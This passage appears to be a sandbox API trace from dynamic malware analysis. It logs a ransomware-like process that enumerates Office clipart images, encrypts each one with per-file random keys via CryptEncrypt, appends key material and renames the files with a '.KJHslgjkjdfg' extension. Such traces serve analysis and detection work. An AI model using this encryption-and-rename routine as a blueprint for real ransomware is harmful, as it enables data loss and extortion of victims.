[0198.108] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.108] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.108] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.108] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.108] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.108] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.108] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2378, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2378, lpOverlapped=0x0) returned 1 [0198.109] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2380, dwBufLen=0x2380 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2380) returned 1 [0198.109] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.109] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2380, lpOverlapped=0x0) returned 1 [0198.109] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.109] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.110] SetEndOfFile (hFile=0x130) returned 1 [0198.113] GetProcessHeap () returned 0x2ef0000 [0198.113] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.113] GetProcessHeap () returned 0x2ef0000 [0198.113] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.113] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg.kjhslgjkjdfg")) returned 1 [0198.114] CloseHandle (hObject=0x130) returned 1 [0198.114] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1f8c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099189.JPG", cAlternateFileName="")) returned 1 [0198.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.116] GetProcessHeap () returned 0x2ef0000 [0198.116] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.116] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.116] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.116] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.119] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.119] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.119] GetProcessHeap () returned 0x2ef0000 [0198.119] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.119] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.119] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.119] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.119] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.119] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.119] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.119] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.120] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.120] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.120] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.120] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.120] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1f8c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1f8c, lpOverlapped=0x0) returned 1 [0198.121] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f90, dwBufLen=0x1f90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f90) returned 1 [0198.121] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.121] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1f90, lpOverlapped=0x0) returned 1 [0198.121] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.121] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.121] SetEndOfFile (hFile=0x130) returned 1 [0198.122] GetProcessHeap () returned 0x2ef0000 [0198.122] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.122] GetProcessHeap () returned 0x2ef0000 [0198.122] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.123] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg.kjhslgjkjdfg")) returned 1 [0198.124] CloseHandle (hObject=0x130) returned 1 [0198.124] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xab74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099190.JPG", cAlternateFileName="")) returned 1 [0198.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.126] GetProcessHeap () returned 0x2ef0000 [0198.126] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.126] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.126] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.126] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0198.131] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.131] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.131] GetProcessHeap () returned 0x2ef0000 [0198.131] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.131] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.131] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.131] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.131] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.131] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.131] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.131] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.131] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.131] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.132] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.132] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.132] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xab74, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xab74, lpOverlapped=0x0) returned 1 [0198.133] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xab80, dwBufLen=0xab80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xab80) returned 1 [0198.134] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.134] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xab80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xab80, lpOverlapped=0x0) returned 1 [0198.134] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.134] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xac54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.134] SetEndOfFile (hFile=0x130) returned 1 [0198.137] GetProcessHeap () returned 0x2ef0000 [0198.137] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.137] GetProcessHeap () returned 0x2ef0000 [0198.137] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.137] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg.kjhslgjkjdfg")) returned 1 [0198.138] CloseHandle (hObject=0x130) returned 1 [0198.139] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf39f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099191.JPG", cAlternateFileName="")) returned 1 [0198.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.139] GetProcessHeap () returned 0x2ef0000 [0198.139] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.139] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.139] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.139] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x1, lpOverlapped=0x0) returned 1 [0198.142] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.142] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.142] GetProcessHeap () returned 0x2ef0000 [0198.142] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.142] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.142] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.142] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.142] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.142] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.142] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.142] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.142] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.143] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.143] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.143] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.143] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xf39f, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xf39f, lpOverlapped=0x0) returned 1 [0198.144] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf3a0, dwBufLen=0xf3a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf3a0) returned 1 [0198.145] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.145] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xf3a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xf3a0, lpOverlapped=0x0) returned 1 [0198.145] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.145] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.145] SetEndOfFile (hFile=0x130) returned 1 [0198.148] GetProcessHeap () returned 0x2ef0000 [0198.149] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.149] GetProcessHeap () returned 0x2ef0000 [0198.149] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.149] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg.kjhslgjkjdfg")) returned 1 [0198.150] CloseHandle (hObject=0x130) returned 1 [0198.150] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x462c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099192.GIF", cAlternateFileName="")) returned 1 [0198.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.150] GetProcessHeap () returned 0x2ef0000 [0198.150] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.150] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.150] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.151] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.153] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.153] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.153] GetProcessHeap () returned 0x2ef0000 [0198.153] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.153] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.153] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.153] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.153] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.153] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.153] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.153] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.153] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.153] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.153] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.154] SetFilePointerEx (in: hFile=0x130, 